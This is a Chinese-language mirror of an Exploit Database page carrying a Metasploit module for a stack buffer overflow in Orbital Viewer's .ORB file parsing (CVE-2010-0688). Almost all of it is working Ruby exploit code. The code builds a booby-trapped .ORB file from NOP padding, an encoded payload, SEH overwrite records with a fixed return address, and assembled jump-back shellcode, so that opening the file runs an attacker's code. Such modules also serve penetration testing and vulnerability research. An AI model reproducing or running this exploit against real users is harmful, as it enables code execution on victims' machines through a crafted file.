Orbital Viewer – ‘.ORB’ File Parsing Buffer Overflow (Metasploit)

• Exploit Database
• 7 阅读

• 作者： Metasploit
  日期： 2010-03-09
• 类别：

  • local
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/16654/

• ##
  # $Id: orbital_viewer_orb.rb 8757 2010-03-09 05:57:22Z jduck $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = GreatRanking
  
  	include Msf::Exploit::FILEFORMAT
  	include Msf::Exploit::Remote::Seh
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'Orbital Viewer ORB File Parsing Buffer Overflow',
  			'Description'=> %q{
  					This module exploits a stack-based buffer overflow in David Manthey's
  				Orbital Viewer. When processing .ORB files, data is read from file into
  				a fixed-size stack buffer using the fscanf function. Since no bounds
  				checking is done, a buffer overflow can occur. Attackers can execute
  				arbitrary code by convincing their victim to open an ORB file.
  			},
  			'License'=> MSF_LICENSE,
  			'Author' 	 => [ 'jduck' ],
  			'Version'=> '$Revision: 8757 $',
  			'References' =>
  				[
  					[ 'BID', '38436' ],
  					[ 'OSVDB', '62580' ],
  					[ 'CVE', '2010-0688' ],
  					[ 'URL', 'http://www.corelan.be:8800/index.php/forum/security-advisories/corelan-10-011-orbital-viewer-orb-buffer-overflow/' ],
  					[ 'URL', 'http://www.exploit-db.com/exploits/11581' ]
  				],
  			'Payload'=>
  				{
  					'Space' => 2048,
  					'BadChars'=> "\x00\x09\x0a\x0d\x20", # \xbd was safe in my test, \x09 was not
  					'DisableNops' => true,
  				},
  			'Platform' => 'win',
  			'Targets'=>
  				[
  					[ 'Orbital Viewer 1.04 on Windows XP SP3',
  						{
  							'Ret' => 0x004032a2, # p/p/r in ov.exe v1.0.0.2
  						}
  					],
  				],
  			'Privileged' => false,
  			'DisclosureDate' => 'Feb 27 2010',
  			'DefaultTarget'=> 0))
  
  		register_options(
  			[
  				OptString.new('FILENAME', [ true, 'The file name.','msf.orb']),
  			], self.class)
  	end
  
  	def exploit
  
  		# One for double-click
  		seh1 = 3968
  		# One for DnD and File->Open
  		seh2 = seh1 + 2092
  
  		sploit = "OrbitalFileV1.0\r\n"
  
  		line2 = ''
  		nop_count = seh1 - payload.encoded.length
  		line2 << make_nops(nop_count)
  		line2 << payload.encoded
  
  		line2 << generate_seh_record(target.ret)
  		distance = seh1 + 8
  		line2 << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + distance.to_s).encode_string
  
  		line2 << rand_text_alphanumeric(seh2 - line2.length)
  		line2 << generate_seh_record(target.ret)
  		distance = seh2 + 8
  		line2 << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + distance.to_s).encode_string
  
  		# Crash writing past end of stack...
  		line2 << rand_text_alphanumeric(1024) * 20
  
  		sploit << line2
  
  		print_status("Creating '#{datastore['FILENAME']}' file ...")
  
  		file_create(sploit)
  
  	end
  
  end